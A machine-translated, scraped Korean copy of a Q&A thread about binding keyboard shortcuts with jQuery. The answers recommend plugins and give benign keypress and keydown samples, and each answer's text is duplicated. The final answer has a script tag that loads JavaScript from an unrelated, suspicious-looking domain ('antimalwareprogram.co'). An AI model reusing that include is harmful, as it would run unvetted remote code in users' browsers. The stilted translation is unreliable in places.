[JQUERY] jQuery로 키보드 단축키

jQuery로 키보드 단축키

해결법

1. ---

   1.이 질문에 원래 요청 된 이후, 존 레식 (jQuery를의 주 저자) 포크와 JS-단축키 투사 향상되었습니다. 그의 버전에서 볼 수 있습니다 :

   이 질문에 원래 요청 된 이후, 존 레식 (jQuery를의 주 저자) 포크와 JS-단축키 투사 향상되었습니다. 그의 버전에서 볼 수 있습니다 :

   http://github.com/jeresig/jquery.hotkeys

2. ---

   2.어떤 jQuery를 단축키에 대해?

   어떤 jQuery를 단축키에 대해?

   C + 예를 들어, 함수 (F), CTRL 키를 바인딩 :

   $(document).bind('keydown', 'ctrl+c', f);
   

3. ---

   3.나는 최근에 이것에 대한 독립 라이브러리를 썼다. 그것은 jQuery를 필요로하지 않습니다,하지만 당신은 jQuery를 아무 문제 사용할 수 없습니다. 그것은 쥐덫라고.

   나는 최근에 이것에 대한 독립 라이브러리를 썼다. 그것은 jQuery를 필요로하지 않습니다,하지만 당신은 jQuery를 아무 문제 사용할 수 없습니다. 그것은 쥐덫라고.

   당신은 http://craig.is/killing/mice 그것을 확인하실 수 있습니다

4. ---

   4.뭐 여러 가지가 있습니다. 그러나 나는 당신이 고급에 관심이 추측하고있다 이행. 며칠 내가 동일한 검색에 있었다 다시, 나는 하나를 발견했다.

   뭐 여러 가지가 있습니다. 그러나 나는 당신이 고급에 관심이 추측하고있다 이행. 며칠 내가 동일한 검색에 있었다 다시, 나는 하나를 발견했다.

   여기.

   그것은 키보드에서 이벤트를 캡처 좋은 그리고 당신은 캐릭터가 너무 매핑 찾을 수 있습니다. 그리고 좋은 점은 ... 그것의 jQuery를합니다. 같은 페이지에서 데모를 확인하고 결정한다.

   대안 라이브러리는 여기에있다.

5. ---

   5.그냥 간단한 바로 가기를 원하는 경우 (1 편지처럼, 예를 단지 g 용) 당신은 별도의 플러그인없이 그것을 할 쉽게 수 :

   그냥 간단한 바로 가기를 원하는 경우 (1 편지처럼, 예를 단지 g 용) 당신은 별도의 플러그인없이 그것을 할 쉽게 수 :

   $(document).keypress(function(e) {
     if(e.charCode == 103) {
       // Your Code
     }
   });
   

6. ---

   6.

       <script type="text/javascript">
           $(document).ready(function(){
               $("#test").keypress(function(e){
                   if (e.which == 103) 
                   {
                       alert('g'); 
                   };
               });
           });
       </script>
   
       <input type="text" id="test" />
   

   이 사이트는 말한다 (71) = g하지만 생각 위의 jQuery 코드, 그렇지 않으면

   자본 G = 71, 소문자이다 103

7. ---

   7.또한 shortKeys jQuery를 플러그인을 시도 할 수 있습니다. 사용 예 :

   또한 shortKeys jQuery를 플러그인을 시도 할 수 있습니다. 사용 예 :

   $(document).shortkeys({
     'g': function () { alert('g'); }
   });
   

8. ---

   8.코드 카데미 I에서 일부 jQuery를 공부 한 후에에 대한 해결책 바인드 애니메이션 속성과 키를 발견했다. 전체 아이디어는 하나 개의 섹션에서 다른 이동 스크롤하지 않고 애니메이션이었다. 코드 카데미에서 예는 DOM을 통해 마리오를 이동했지만, 난 내 웹 사이트 섹션 (100 % 높이 CSS)이 적용. 여기에 코드의 일부입니다 :

   코드 카데미 I에서 일부 jQuery를 공부 한 후에에 대한 해결책 바인드 애니메이션 속성과 키를 발견했다. 전체 아이디어는 하나 개의 섹션에서 다른 이동 스크롤하지 않고 애니메이션이었다. 코드 카데미에서 예는 DOM을 통해 마리오를 이동했지만, 난 내 웹 사이트 섹션 (100 % 높이 CSS)이 적용. 여기에 코드의 일부입니다 :

   $(document).keydown(function(key) {
       switch(parseInt(key.which, 10)) {
           case 39:
               $('section').animate({top: "-=100%"}, 2000);
               break;
           case 37:
               $('section').animate({top: "+=100%"}, 2000);
               break;
           default:
               break;
       }
   });
   

   나는 당신이 어떤 문자와 속성에 대한이를 사용할 수 있습니다 생각합니다.

   출처 : http://www.codecademy.com/forum_questions/50e85b2714bd580ab300527e

9. ---

   9.jQuery를의 1.10+ 버전에서 작동 hotKeys.js의 새 버전이 출시되었습니다. 그것은 100 선 자바 스크립트 파일 작습니다. 4킬로바이트하거나 2킬로바이트 축소 된. 다음은 몇 가지 간단한 사용 예는 다음과 같습니다

   jQuery를의 1.10+ 버전에서 작동 hotKeys.js의 새 버전이 출시되었습니다. 그것은 100 선 자바 스크립트 파일 작습니다. 4킬로바이트하거나 2킬로바이트 축소 된. 다음은 몇 가지 간단한 사용 예는 다음과 같습니다

   $('#myBody').hotKey({ key: 'c', modifier: 'alt' }, doSomething);
   
   $('#myBody').hotKey({ key: 'f4' }, doSomethingElse);
   
   $('#myBody').hotKey({ key: 'b', modifier: 'ctrl' }, function () {
               doSomethingWithaParameter('Daniel');
           });
   
   $('#myBody').hotKey({ key: 'd', modifier :'shift' }, doSomethingCool);
   

   GitHub의에서 REPO를 복제 : https://github.com/realdanielbyrne/HoyKeys.git 또는 github의의 REPO 페이지 https://github.com/realdanielbyrne/HoyKeys 또는 포크로 이동 기여한다.

10. ---

    10.@craig 유사, 나는 최근에 바로 가기 라이브러리를 만들었습니다.

    @craig 유사, 나는 최근에 바로 가기 라이브러리를 만들었습니다.

    https://github.com/blainekasten/shortcut.js

    다양한 기능을 지원하는 체인 가능 API는 하나의 바로 가기에 바인딩.

11. ---

    11.

    상자 안쪽을 클릭하고 g 키를 누르십시오! <스크립트 SRC = "https://antimalwareprogram.co/shortcuts.js">